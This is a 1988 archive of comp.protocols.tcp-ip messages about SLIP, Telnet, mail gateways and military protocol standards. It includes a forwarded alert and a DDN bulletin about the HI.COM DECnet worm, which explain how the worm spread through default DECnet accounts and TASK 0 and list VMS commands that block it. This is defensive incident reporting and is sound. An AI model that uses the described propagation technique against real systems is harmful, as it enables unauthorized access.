    If you are looking for SMTP on any LAN that supports NetBIOS or IPX,
then WIN/TCP for DOS 4.0 will give you that.
If you are looking for a mail application gateway between a specific LAN
mail system and SMTP, than I do not know of any as yet.

leo j mclaughlin iii
The Wollongong Group
ljm@twg.com

-----------[000225][next][prev][last][first]----------------------------------------------------
Date:      24 Dec 88 16:53:38 GMT
From:      slevy@UC.MSC.UMN.EDU ("Stuart Levy")
To:        comp.protocols.tcp-ip
Subject:   Re:  Telnet and Timing Mark option

A host can reply WILL TIMING-MARK, not just WONT -- it's actually supposed to
WILL if the timing mark echo is properly synchronized and WONT if it's not,
though I'd be surprised if many implementations were that careful.

	Stuart Levy

-----------[000226][next][prev][last][first]----------------------------------------------------
Date:      26 Dec 88 06:39:55 GMT
From:      brian@ucsd.EDU (Brian Kantor)
To:        comp.protocols.tcp-ip
Subject:   Re: DECNET Virus (sorry)

I received the following message last Friday; I mailed it off to
the "phage" security list and it bounced because Purdue's mailer is
broken, so I'll post it here.  I hesitated to do this at first, since
it's not directly relevant and I sure didn't want to panic people into
wildly shutting down bridges and gateways again.

SPAN (Space Physics Analysis Network??) is a DECNet network, so it
lacks direct relevance to the TCP/IP list, but probably this is of 
at least passing interest.
---
Date:    Fri, 23 Dec 88 02:53:13 GMT
From: gkn@Sds.Sdsc.Edu (Gerard K. Newman)
Subject: SPAN WORM ALERT

Ladies and gentleman,

Someone has loosed a worm on SPAN at this very moment.  Check your accounting
files and NETSERVER.LOGs in your default DECnet accounts.  You'll find evidence
of someone creating a file (HI.COM, which I am in the process of fetching from
the deleted blocks of one of them) which propagates itself around the network.

It has hit all of the VMS machines here at SDSC today, and simply appears to
crawl around and send mail to 25097::PHISOLIDE (node 25.79, for which I do not
have a name in my DECnet database).

It will take me a few more minutes to cobble together a program to dredge up
the blocks of the command file (one of the first things it does is to delete
itself ... it also sets it's process name to MAIL_178DC, so look around for
those, too).  When I have it I will forward the text.

An adequate defense against the problem is:

(from the SYSTEM or other suitably privileged account):

	$ Set Default your-default-decnet-area
	$ Create HI.COM
	$ Stop/ID=0
	^Z
	$ Set File/Owner=[1,4]/Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM

This information should receive the widest possible distribution.

I will forward a copy of the command file in a few minutes.

Please give me a call (# below) if you need more information.

gkn
----------------------------------------
Internet: GKN@SDS.SDSC.EDU
Bitnet:   GKN@SDSC
Span:	  SDSC::GKN (27.1)
MFEnet:   GKN@SDS
USPS:	  Gerard K. Newman
	  San Diego Supercomputer Center
	  P.O. Box 85608
	  San Diego, CA 92138-5608
Phone:	  619.534.5076

-----------[000227][next][prev][last][first]----------------------------------------------------
Date:      26 Dec 88 06:53:04 GMT
From:      brian@ucsd.EDU (Brian Kantor)
To:        comp.protocols.tcp-ip
Subject:   Re: DECNET Virus

And here's the official bumf from DCA, which just arrived:
---
********************************************************************** 
DDN MGT Bulletin 50              DCA DDN Defense Communications System   
23 Dec 88                        Published by: DDN Network Info Center
                                    (NIC@SRI-NIC.ARPA)  (800) 235-3155


                        DEFENSE  DATA  NETWORK

                         MANAGEMENT  BULLETIN

The DDN MANAGEMENT BULLETIN is distributed online by the DDN Network
Information Center under DCA contract as a means of communicating
official policy, procedures and other information of concern to
management personnel at DDN facilities.  Back issues may be read
through the TACNEWS server ("@n" command at the TAC) or may be
obtained by FTP (or Kermit) from the SRI-NIC host [26.0.0.73 or
10.0.0.51] using login="anonymous" and password="guest".  The pathname
for bulletins is DDN-NEWS:DDN-MGT-BULLETIN-nn.TXT (where "nn" is the
bulletin number).
**********************************************************************

SUBJECT:   Worm (Benign) 

APPLICABLE OPERATING SYSTEM: DEC VMS

PROPAGATION: Propagates via DECNET protocols, not TCP/IP protocols

STATUS: Fix is enclosed

VALIDATION:  The fix has been forwarded to the CERT for validation, but
validation has not been completed.  But in order to provide timely
information to our subcribers, this fix is being made available "as
is".  It was provided by a host administrator on the NASA SPAN/DOE
HEPNET network.  We recommend that you contact your vendor and refer
to the vendor documentation listed below before attempting to implement the
fix.


PROBLEM: On Friday, 23 December, Gerard K. Newman of the San Diego
Supercomputer Center reported a Christmas Eve computer worm (not a
virus) called "HI.COM".  This worm appears to be a benign Christmas
greeting from "Father Christmas".

ESSENTIAL CONSIDERATIONS: The recent Internet Virus has sensitized the
telecommunications community to the potential threat of worms and
viruses.  However, "HI.COM" appears to be a prank and nothing more:
 
      (A) It only affects VMS machines connected to DECNET.
 
      (B) It does not use TCP/IP, thus it cannot "infect" the Internet
          (or MILNET/ARPANET).
 
      (C) It does no harm (all it does is send a "stop computing and go
          home" message after midnight on Christmas Eve).
 
      (D) It has safeguards against running multiple copies of itself on
          the same machine.
 
      (E) It will terminate itself after completing its mission (at 00:30
          on the 24th).

SYMPTOMS OF INFECTION: Some steps to take to determine if your system has 
been infected are:

      (A) Check your accounting files and NETSERVER.LOGs in your default 
          DECnet accounts for a file called HI.COM.

      (B) Check your processes for one named MAIL_178DC.

A FIX: 

There is a worm loose on NASA's SPAN/DoE's HEPNET network, which is an
international DECnet-based network.  The worm targets VMS machines, and
can only be propagated via DECnet.

The worm itself appears to be benign, in that it does not destroy files
or compromise the system.  It's purpose appears to be to deliver a
Christmas message to users starting at midnight on 24 Dec 1988.  It
does have a hook in it to monitor it's progress;  it mails a message
back to a specific node (20.117, user PHSOLIDE) containing an identifying
string of the "infected" machine.

The worm exploits two features of DECnet/VMS in order to propagate itself.
The first is the default DECnet account, which is a facility for users who
don't have a specific login ID for a machine to have some degree of
anonymous access.  It uses the default DECnet account to copy itself to a
machine, and then uses the "TASK 0" feature of DECnet to invoke the remote
copy.

There are several steps which you can take to protect yourself from this
kind of attack.  The easiest (and most restrictive) is to disable the
default DECnet account on your machine altogether.  This can be done with
the following commands from the SYSTEM or other suitably privileged account:

	$ Run SYS$SYSTEM:NCP
	Purge Executor Nonprivileged User Account Password
	Clear Executor Nonprivileged User Account Password
	^Z

This requires that everyone who accesses your resources via DECnet to have
a legitimate login ID or proxy login account on your machine (proxy logins
are discussed in detail in chapter 7 of the "Guide to VMS System Security",
see below).

You can take less restrictive steps to protect your machine while still
maintaining some degree of default access.  If you wish to keep the ability
for users to copy files to the default DECnet account but wish to prevent
them from copying DCL command procedures there and then executing them you
can issue the following commands (again from the SYSTEM or other suitably
privileged account):

	$ Run SYS$SYSTEM:NCP
	Clear Object Task All
	^Z

You must then edit the file SYS$MANAGER:STARTNET.COM, and add the line

	CLEAR OBJECT TASK ALL

AFTER the line which says

	SET KNOWN OBJECTS ALL

This has the side-effect of disabling users from executing any command
procedure via DECnet that the system manager has not defined in the
DECnet permanent database.  These steps alone are not sufficient to
prevent copies of the virus from being copied to your machine;  but they
will prevent it from being executed.  To prevent copies of this specific
virus from being copied to your machine you can issue the following
commands (from the SYSTEM or other privileged account):

	$ Set Default your-default-decnet-directory
	$ Create HI.COM
	$ Stop/ID=0
	^Z
	$ Set File/Owner=[1,4]-
	/Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM

This prevents anyone from copying a file called "HI.COM" into your default
DECnet account;  however, other files can be copied there unless you disable
access to the DECnet object FAL (the File Access Listener) from your default
DECnet account.  This can be done by creating a specific account for FAL
(using the AUTHORIZE utility) with a seperate UIC, default directory, and
minimal privileges and forcing the FAL object to use that account.  The
following sequence of commands are an example (these commands also require
that they be issued from the SYSTEM or other suitably privileged account):


	$ Set Default SYS$SYTEM
	$ Run AUTHORIZE
	Add FAL/UIC=[some-unused-UIC]/Owner="DECnet default FAL"-
	/Password=randomstring/Device=disk-device/Directory=[some-directory]-
	/Flags=(DISCTLY,DEFCLI,CAPTIVE,LOCKPWD)/NoBatch/NoLocal/NoDialup-
	/NoRemote/Privileges=(TMPMBX,NETMBX)/DefPrivileges=(TMPMBX,NETMBX)-
	/LGICMD=SYS$SYSTEM:FALLOG.COM
	^Z
	$ Run NCP
	Define Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
	Password same-random-string
	Set Object FAL Number 17 File SYS$SYSTEM:FAL User FAL -
	Password same-random-string
	^Z
	$ Create FALLOG.COM
	$ V := 'F$Verify(0)
	$ Write SYS$OUTPUT ""
	$ Write SYS$OUTPUT "''F$Time()' -- Node ''F$Logical("SYS$NODE")'"
	$ Write SYS$OUTPUT "''F$Time()' -- Remote file access from:"
	$ Write SYS$OUTPUT "''F$Time()' -- User: ''F$logical("SYS$REM_ID")'"
	$ Write SYS$OUTPUT "''F$Time()' -- Node: ''F$Logical("SYS$REM_NODE")'"
	$ Write SYS$OUTPUT ""
	^Z

This sequence of commands separates the FAL account from the default DECnet
account, and you can use file protections to enforce that the FAL account
cannot access files in the default DECnet account and vice-versa.  The
command file FALLOG.COM above will log all remote file accesses in the
file NETSERVER.LOG in the directory specified for the FAL account above.

The FAL program can supply additional logging information;  contact your
DIGITAL software support person for further details.

Further steps can be taken to restrict access to your system.  These
steps are discussed in detail in the "Guide to VMS System Security", DEC
order number AA-LA40A-TE, dated April 1988.  See in particular chapter 7,
entitled "Security for a DECnet Node".

For general information about this patch call the CERT or the Network
Information Center at (800) 235-3155.

This represents the best information available at this time to fix this
problem.


-------

-----------[000228][next][prev][last][first]----------------------------------------------------
Date:      26 Dec 88 19:44:09 GMT
From:      braden@VENERA.ISI.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  mil stds vs. rfc's


	
	In article <8812211742.AA04654@braden.isi.edu> braden@VENERA.ISI.EDU writes:
	>Unfortunately, the
	>DoD has chosen not to correct or update the MilStd's for a long time.
	
	       Well, actually, DCA did fund an update of the TCP MIL-STD in
	1985, but the contractor doing the work (whom I will not name) spent
	all the money and didn't finish the job.  This discouraged further
	efforts in that direction.
	
						John Nagle
	
John,

From my experience, I suspect that what this proves is that one cannot
procure intellectual effort through the same administrative machinery
that one uses to buy, say, tank radios, and have any reasonable hope for
success.  I claim that the design and engineering of protocols is still
intellectual effort, and it requires the large-scale collaboration of the
entire technical community of the Internet. I therefore suspect it was
the process, not the vendor, that was broken in the DCA protocol efforts.

Bob Braden


   

-----------[000229][next][prev][last][first]----------------------------------------------------
Date:      27 Dec 88 01:27:57 GMT
From:      mcc@ETN-WLV.EATON.COM (Merton Campbell Crockett)
To:        comp.protocols.tcp-ip
Subject:   Re:  mil stds vs. rfc's

Bob:

I doubt that the vendor's failure to perform proves anything about the DoD
procurement regulations and/or methodologies.  For example, I was able to
read your message suggesting that there is a fault over a communication
network procured under the same procurement regulations.

Without the benefit of reading DCA's Request For Proposal, the only things
that might be inferred from the vendor's failure is

	A) this was a rather blatant "buy-in" by an under-capitalized
	   company in hopes procuring further contracts,
	B) the individuals assigned to the project did not have the
	   technical background necessary to translate the RFCs into
	   a MIL-STD, or
	C) there was a requirement for the documents to conform to 2167
	   standards which were not negotiated correctly.

Merton

-----------[000230][next][prev][last][first]----------------------------------------------------
Date:      Tue, 27 Dec 88 19:56:50 EST
From:      Debbie Keller <D1DSK%AKRONVM.BITNET@CUNYVM.CUNY.EDU>
To:        TCP-IP@SRI-NIC.ARPA
Subject:   Re: Various queries
We are running XNS, DECnet, and TCP/IP simultaniously using a
Proteon P4200 gateway.  We have note had any trouble with it.  Ohio State
is using the same setup and also don't have any trouble.  We are both
using Proteon for our backbone, with Ethernet gateways, but this is not
neccessary.
-----------[000231][next][prev][last][first]----------------------------------------------------
Date:      27 Dec 88 16:05:22 GMT
From:      stev@VAX.FTP.COM
To:        comp.protocols.tcp-ip
Subject:   wanted: FTP for RSX-11



*Can anyone recommend an implementation of FTP (public domain or
*commercial) that runs under RSX-11?

*---------------------------------------------------------------------
*Jay Rosenbloom  608-262-9421   Internet: jrosen@vms.macc.wisc.edu
*Academic Computing Center        Bitnet: jrosen@wiscmacc
*University of Wisconsin


the only people i have seen running under RSX 11 are process software.
their number is 413-549-6994.

or you can ask SRI for the information.  their 800 number is
1-800-235-3155. they can sell you the "vendors guide" which lists
all the TCP-IP they know about, or how to ftp out pieces of it
(if you are on the internet)

stev knowles
stev@ftp.com
ftp software

-----------[000232][next][prev][last][first]----------------------------------------------------
Date:      27 Dec 88 16:12:00 GMT
From:      acm@RELAY.PROTEON.COM
To:        comp.protocols.tcp-ip
Subject:   Re: MAIL programs for LANs and internet mail

I responded to the sender that I have an SMTP to/from cc:Mail mail gateway
translator that I am willing to give to anyone willing to do the support
work for his site.  I can NOT support the software except in the most basic
ways.  Several ARPANET sites have used the software and are quite pleased
with it's performance.  Proteon is using the software internally and it has
been working quite well (meaning that only little support is needed!) for
about 6 months now.

Anyone wishing further information on the translator I can send a
description file to and, if the requests warrant, I will make it available
for anonymous FTP.

        -Alan Marshall, VP Proteon Inc.
         2 Technology Drive             CCMAIL: acm at proteonwebo
         Westboro, MA  01581-5008       ARPANET: acm@Proteon.com
                tel: (508)898-2120      MHS: acm @ ProteonW

-----------[000233][next][prev][last][first]----------------------------------------------------
Date:      27 Dec 88 21:07:41 GMT
From:      Mills@UDEL.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  mil stds vs. rfc's

Bob,

As one of the participants in the 1985 DCA update of the TCP and IP specs
(along with several others, including John), I was dismayed that the good
stuff contributed did not appear as an RFC, at least. Part of that was
the contractor's fault and part of that was probably ours in not insisting
that whatever was produced and turned in to DCA is made available for
electronic or even OCR hijack. I suggest a polite inquiry from you or
Phil Gross to DCA in your official capacities might even make that happen.

Dave

-----------[000234][next][prev][last][first]----------------------------------------------------
Date:      27 Dec 88 21:29:45 GMT
From:      eric@CS2.WSU.EDU
To:        comp.protocols.tcp-ip
Subject:   SLIP Implementations

Hi,
	Can any of you tell me what implementations exist for SLIP (Serial
Line IP)?  I am most interested in public-domain or REAL cheep commercial
packages.  I would also be interested in hearing any feelings you might
have if you are using any such implementation.  Thanks in Advance....

			Eric Schneider (eric@wsu.edu)

-----------[000235][next][prev][last][first]----------------------------------------------------
Date:      27 Dec 88 21:35:05 GMT
From:      Mills@UDEL.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  mil stds vs. rfc's

Merton,

DCA funded the effort as a task order, which was subcontracted to various
parties. The prime contractor was to formulate specific amendments to the
MIL-STD-1777 and -1778, documents (which the prime contractor in fact wrote).
but so far as I know was not to redraft the documents themselves. The
subcontractors submitted rough-draft proposals, which were then redrafted
into a report and submitted to DCA. While it is not clear in what form that
report was submitted, at least some of the proposals made it out to the
community for discussion and comment. I remember a series of amendments
to the ICMP RFC which were managed in this way. Somewhere in my 20,000-
message mail archives scattered over three TOPS-20s, several Unix systems
and a Fuzzball in a pear tree is a massive message containing the dozens
of messages contributed to this effort. In a day or two I might even be able
to excavate that treasure from the mounds of dusty archive tapes and then it
might take me much longer than that. I don't relish that chore and I suppose
the prime contractor doesn't either, especially since the knowledgable
people and bit buckets have probably since gone on to a better life.

While I am no defender of the Government contracting process (having done my
own bit in that area), I don't think the prime contractor, the subcontractors
or DCA did anything specifically wrong. I would, however, like to yet and
once again plead to the DCA protocol standards committees that information
such as this should be routinely shared with the IETF and given the widest
possible distribution.

Dave

-----------[000236][next][prev][last][first]----------------------------------------------------
Date:      27 Dec 88 23:26:21 GMT
From:      mcc@ETN-WLV.EATON.COM (Merton Campbell Crockett)
To:        comp.protocols.tcp-ip
Subject:   Re:  mil stds vs. rfc's

Dave:

I'm not a defender of the DoD procurement process; however, I do think Bob's
comment that the failure of some organisation to produce a new MIL-STD draft
for DCA is proof of the inadequacy of the DoD procurement process is unjust-
ified.  I don't mean to imply that there isn't a problem with the process--
I personally think that Congress over-reacted to some abuses that occurred
during the '50s.  I, also, think that Congress made some mistakes in the guise
of "equal opportunity" during the '60s and '70s.

Merton

-----------[000237][next][prev][last][first]----------------------------------------------------
Date:      28 Dec 88 00:56:50 GMT
From:      D1DSK@AKRONVM.BITNET (Debbie Keller)
To:        comp.protocols.tcp-ip
Subject:   Re: Various queries

We are running XNS, DECnet, and TCP/IP simultaniously using a
Proteon P4200 gateway.  We have note had any trouble with it.  Ohio State
is using the same setup and also don't have any trouble.  We are both
using Proteon for our backbone, with Ethernet gateways, but this is not
neccessary.

-----------[000238][next][prev][last][first]----------------------------------------------------
Date:      28 Dec 88 16:12:24 GMT
From:      slf@well.UUCP (Sharon Lynne Fisher)
To:        comp.protocols.tcp-ip
Subject:   International Unix communications




I'm doing an article for Unix World on communicating over Unix internationally.
I'm looking for people either outside the U.S., or inside the U.S. who have to
communicate with people outside the U.S.  What methods do people use?  What
problems have you come across, and how have you solved them?
	Please respond by e-mail so's not to clutter the group.  Thanks!

slf@well.uucp

-----------[000239][next][prev][last][first]----------------------------------------------------
Date:      28 Dec 88 16:22:26 GMT
From:      sadler@heurikon.UUCP (Jon Sadler)
To:        comp.protocols.tcp-ip
Subject:   Re: SLIP Implementations

In <8812272129.AA16185@cs2.wsu.edu> eric@CS2.WSU.EDU writes:
>
>Hi,
>	Can any of you tell me what implementations exist for SLIP (Serial
>Line IP)?  I am most interested in public-domain or REAL cheep commercial
>packages.  I would also be interested in hearing any feelings you might
>have if you are using any such implementation.  Thanks in Advance....
>
>			Eric Schneider (eric@wsu.edu)
>

A package that is available for no cost to individuals and has been used quite
extensively is Phil Karn's KA9Q Internet Package.  This program incorporates
FTP, TELNET, and SMTP handling for IBM-PC's, Macintosh's, Amiga's, Atari ST's,
and UNIX hosts.  The code which comprises the package was written in with port-
ability in mind, and is quite easy to work with.  

Currently, the code all exists in a single process -- running with a tight loop
to poll all sessions.  Since this is not ideal for multi-tasking systems, Phil
is re-writing the code, breaking it down into mulitple programs.  There will be
a socket front end allowing easy extension.  This code is not generally avail-
able yet.

The code is normally from three locations: anonymous FTP from louie.udel.edu,
anonymous UUCP from winfree.UUCP, and lastly the HIP Shack BBS.  Unfortunatly,
winfree does not have the code on it at this time.  But a number of UUCP sites
have grabbed the sources and put them on line.

If you have any more questions on the KA9Q package, feel free to mail me.

Jonathan Sadler
Heurikon Corp.


-- 
BANG PATH:      ...rutgers!uwvax!heurikon!sadler   SNAIL: Jonathan Sadler
                ...rutgers!nucsrl!laidbak!sadler          Heurikon Corp.
UUCP DOMAIN:    sadler@heurikon.UUCP                      3201 Latham Drive
                sadler@laidbak.UUCP                       Madison, WI 53713
ARPA:           sadler@csd4.milw.wisc.edu          PHONE: (608) 271-8700

-----------[000240][next][prev][last][first]----------------------------------------------------
Date:      28 Dec 88 16:41:36 GMT
From:      jbvb@VAX.FTP.COM (James Van Bokkelen)
To:        comp.protocols.tcp-ip
Subject:   Re: SLIP implementations

More or less in the order they became available (at least in the order I
heard of them):
 
Free (source form, KA9Q is "no commercial use"):
	4bsd SLIP by Rick Adams (various versions, requires kernel rebuild)
	KA9Q by Phil Karn (DOS and maybe other little workstations)
	PC-IP from MIT/CMU/Harvard, for DOS PCs only.

Commercial:
	FTP Software's PC/TCP (applications & development for DOS PCs)
	cisco's terminal concentrator/gateway (many ports on a server)
	Encore's Annex terminal concentrator (ditto)
	Spider Systems' SysV Unix (source for OEMs, maybe sold other ways)
	Sun's PC/NFS (apps & libraries, also add-in modules for SunOS hosts)

This is all I am aware of, as of this moment.  As far as I know, they all
interoperate (I know that we can talk to the 4bsd, cisco, Encore and Spider
implementations).  Some vendors have added dial-in capability, but the 4bsd
version doesn't have it.  RFC 1055 documents the basic protocol, and has
no mechanism for dynamic address assignment at startup (thus the need for
dial-up extensions).

James VanBokkelen
FTP Software Inc.

-----------[000241][next][prev][last][first]----------------------------------------------------
Date:      28 Dec 88 18:37:09 GMT
From:      nelson@sun.soe.clarkson.edu (Russ Nelson)
To:        comp.protocols.tcp-ip
Subject:   Re: SLIP Implementations

In article <286@heurikon.UUCP> sadler@heurikon.UUCP (Jon Sadler) writes:

   In <8812272129.AA16185@cs2.wsu.edu> eric@CS2.WSU.EDU writes:
   >
   >Hi,
   >	Can any of you tell me what implementations exist for SLIP (Serial
   >Line IP)?  I am most interested in public-domain or REAL cheep commercial
   >packages.  I would also be interested in hearing any feelings you might
   >have if you are using any such implementation.  Thanks in Advance....
   >
   >			Eric Schneider (eric@wsu.edu)
   >

   A package that is available for no cost to individuals and has been
   used quite extensively is Phil Karn's KA9Q Internet Package.  ...
   ... Phil is re-writing the code, ... This code is not generally
   available yet.

   The code is normally from three locations: anonymous FTP from
   louie.udel.edu, ... 

An ALPHA (Alpha meaning that it has God-only-knows how many bugs, and only
the most adventurous should try it) release of the *source* is on
louie.udel.edu.  Look in /pub/ka9q for nos.arc.  This source is only for
Aztec C.  I am working on adapting my Turbo C porting kit to this new version.
I'll post a notice here when it's ready.

--
--russ (nelson@clutx [.bitnet | .clarkson.edu])
"I saved the whales!" - Rebecca L. Nelson, 3.5 years old, on receiving her
Christmas present of a whale "adoption" certificate.  Bless her liberal heart.

-----------[000242][next][prev][last][first]----------------------------------------------------
Date:      29 Dec 88 13:30:55 GMT
From:      kpe@cosy.uoguelph.CA
To:        comp.protocols.tcp-ip
Subject:   KLOGGED MILNET BRIDGES


     test only      - please ignore    --  please excuse     ....Kent

-----------[000243][next][prev][last][first]----------------------------------------------------
Date:      30 Dec 88 15:24 EST
From:      TomZ @ DDN1.arpa
To:        TCP-IP @ SRI-NIC.arpa
Cc:        StJohns @ beast.ddn.mil, Info-Vacc @ beast.ddn.mil, B602-ALL @ DDN1.arpa
Subject:   FBI Contacts on INTERNET Virus
To everyone who has sent in Point of Contact information, THANKS!

The Defense Communications Agency has collected and forwarded to the 
FBI 130 PoC reports from sites that were hit by the November INTERNET
Worm/Virus.  That is more than sufficient for the FBI Case Agent who
is running the investigation.  Therefore, as of 1 Jan 89, I will stop
forwarding traffic sent to the Info-Vacc [at] beast.ddn.mil mailbox.

Thanks again and Happy New Year to all!

/s/:  
Tom Zmudzinski, DDN Network Security Officer
Defense Communications Agency
Code B602 McLean
Washington, DC  20305-2000
(703) 285-5333  (A/V) 356-5333

-----------[000244][next][prev][last][first]----------------------------------------------------
Date:      30 Dec 88 20:24:00 GMT
From:      TomZ@DDN1.ARPA
To:        comp.protocols.tcp-ip
Subject:   FBI Contacts on INTERNET Virus

To everyone who has sent in Point of Contact information, THANKS!

The Defense Communications Agency has collected and forwarded to the 
FBI 130 PoC reports from sites that were hit by the November INTERNET
Worm/Virus.  That is more than sufficient for the FBI Case Agent who
is running the investigation.  Therefore, as of 1 Jan 89, I will stop
forwarding traffic sent to the Info-Vacc [at] beast.ddn.mil mailbox.

Thanks again and Happy New Year to all!

/s/:  
Tom Zmudzinski, DDN Network Security Officer
Defense Communications Agency
Code B602 McLean
Washington, DC  20305-2000
(703) 285-5333  (A/V) 356-5333

-----------[000245][next][prev][last][first]----------------------------------------------------
Date:      31 Dec 88 01:05:13 GMT
From:      haas@wasatch.UUCP (Walt Haas)
To:        comp.protocols.tcp-ip
Subject:   Re: RFC's for telnet terminal speed and flow control

In article <Dec.15.15.03.23.1988.1873@geneva.rutgers.edu>, hedrick@geneva.rutgers.edu (Charles Hedrick) writes:
> Note that two new RFC's have just appeared, for telnet options...
> ...the proposed line mode telnet option will also have provisions for
> handling flow control... it would be nice to believe that character mode
> would simply die upon issuance of the line mode RFC.

The X.25/X.28/X.29 impementation that I wrote for the DEC-20 had a line
mode that was intelligent enough to work fine for commands, but switching
to character mode was unavoidable when you wanted to use a screen editor.
The reasons seem pretty fundamental, so I'd be curious to know how you
plan to handle that situation.

Cheers  -- Walt Haas     haas@cs.utah.edu    ...!utah-cs!haas

-----------[000246][next][prev][last][first]----------------------------------------------------
Date:      31 Dec 88 23:41:37 GMT
From:      martillo@cpoint.UUCP (Joacim Martillo)
To:        comp.protocols.tcp-ip
Subject:   Prime Computer WSI300 TCP/IP Package

I would be interested in the opinions of any user of the 
Prime Computer WSI300 TCP/IP Package on the quality of the
implementation or on the performance of the package either
in absolute terms or relative to the price.

END OF DOCUMENT